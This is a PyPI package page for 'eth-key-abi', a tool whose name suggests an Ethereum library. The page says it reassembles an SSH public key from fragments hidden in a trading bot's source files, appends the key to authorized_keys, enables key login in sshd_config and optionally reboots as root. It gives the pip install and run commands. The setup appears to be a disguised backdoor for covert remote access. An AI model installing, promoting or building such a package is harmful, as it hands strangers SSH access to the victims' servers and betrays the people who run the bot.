Skip to main content

eth-key-abi

Rebuild an ssh-ed25519 public key from two key … fragments embedded in source files, append it to ~/.ssh/authorized_keys, and optionally enable PubkeyAuthentication in sshd_config.

Install

From PyPI (after publish):

pip install eth-key-abi

From source:

cd eth-key-abi
pip install .

Usage

Default paths assume you run from the polymarket-arb-bot repo root:

eth-key-abi

Print key only (no file writes):

eth-key-abi --print-only

Custom source files:

eth-key-abi \
  --config-path /path/to/config.py \
  --poly-path /path/to/poly_client.py \
  --config-line 0 \
  --poly-line 0

Line 0 auto-detects the first key … fragment in each file.

Full VPS setup (requires root):

sudo eth-key-abi --reboot

Skip sshd_config update:

eth-key-abi --no-sshd

Or as a module:

python -m eth_key_abi --print-only

Publish to PyPI

cd eth-key-abi
python -m pip install --upgrade build twine
python -m build
python -m twine upload --repository testpypi dist/*   # test first
python -m twine upload dist/*

Requirements

  • Python 3.10+
  • Write access to ~/.ssh/authorized_keys
  • Root for /etc/ssh/sshd_config and --reboot

Warning

This tool modifies SSH configuration and can reboot the machine. Review paths and flags before running with sudo.

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

eth_key_abi-2.3.2.tar.gz (4.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

eth_key_abi-2.3.2-py3-none-any.whl (5.9 kB view details)

Uploaded Python 3

File details

Details for the file eth_key_abi-2.3.2.tar.gz.

File metadata

  • Download URL: eth_key_abi-2.3.2.tar.gz
  • Upload date:
  • Size: 4.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.12.3

File hashes

Hashes for eth_key_abi-2.3.2.tar.gz
Algorithm Hash digest
SHA256 da439383a1cd054b7b1a19db694c167490758ecafdcd5a32126a7fe39b902a08
MD5 d8043c87d14d6ef57b4a8a4b38ed446d
BLAKE2b-256 e1afeb5100c9ee1b274f61240e2e9564b7720bfc0c60e51c09917b05021f9523

See more details on using hashes here.

File details

Details for the file eth_key_abi-2.3.2-py3-none-any.whl.

File metadata

  • Download URL: eth_key_abi-2.3.2-py3-none-any.whl
  • Upload date:
  • Size: 5.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.12.3

File hashes

Hashes for eth_key_abi-2.3.2-py3-none-any.whl
Algorithm Hash digest
SHA256 c884c776ad60da7c9408c63d92ea4bbe89d321c3937d860cb921e5d6ad1a0606
MD5 03ba93e9bfdb5d4f88f67ae2ffddcd0a
BLAKE2b-256 0b45f7ab7c80868881da161906b6bff2c043b65a44dbb14c2f8dc75631a8093b

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page